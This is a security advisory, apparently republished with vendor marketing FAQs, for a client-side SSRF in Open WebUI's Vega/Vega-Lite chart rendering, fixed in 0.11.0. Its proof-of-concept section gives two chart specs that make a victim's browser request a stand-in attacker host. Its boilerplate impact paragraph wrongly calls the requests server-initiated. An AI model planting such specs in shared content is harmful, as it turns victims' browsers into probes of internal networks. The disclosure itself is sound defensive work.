Summary
Open WebUI: Client-side SSRF via unrestricted external resource loading in Vega/Vega-Lite chart rendering
Open WebUI renders vega and vega-lite fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.
Preconditions
Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little.
Root cause
src/lib/utils/index.ts,renderVegaVisualizationsrc/lib/components/chat/Messages/CodeBlock.svelte, rendersvega/vega-liteblocks
The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: data.url and topojson/geo sources are fetched at view construction, and image marks pass their url through sanitize and are written into the output SVG as <image href>, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.
Proof of concept
Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"}
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}}
The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline data.values charts still render.
Credits
- @Zureno, reported the issue and the
data.urlpath. - @Classic298, identified the image-mark sink and authored the fix.
Impact
The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-70480 has a CVSS score of 4.1 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.11.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose load always throws and whose sanitize resolves the URI with the browser's own URL parser and permits only data: and same-origin results, so charts can only use inline data.values. Upgrading is sufficient; no configuration change is needed.
Frequently Asked Questions
- What is CVE-2026-70480? CVE-2026-70480 is a medium-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions >= 0.6.34, < 0.11.0. It is fixed in 0.11.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-70480? CVE-2026-70480 has a CVSS score of 4.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of open-webui are affected by CVE-2026-70480? open-webui (pip) versions >= 0.6.34, < 0.11.0 is affected.
- Is there a fix for CVE-2026-70480? Yes. CVE-2026-70480 is fixed in 0.11.0. Upgrade to this version or later.
- Is CVE-2026-70480 exploitable, and should I be worried? Whether CVE-2026-70480 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-70480 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-70480? Upgrade
open-webuito 0.11.0 or later.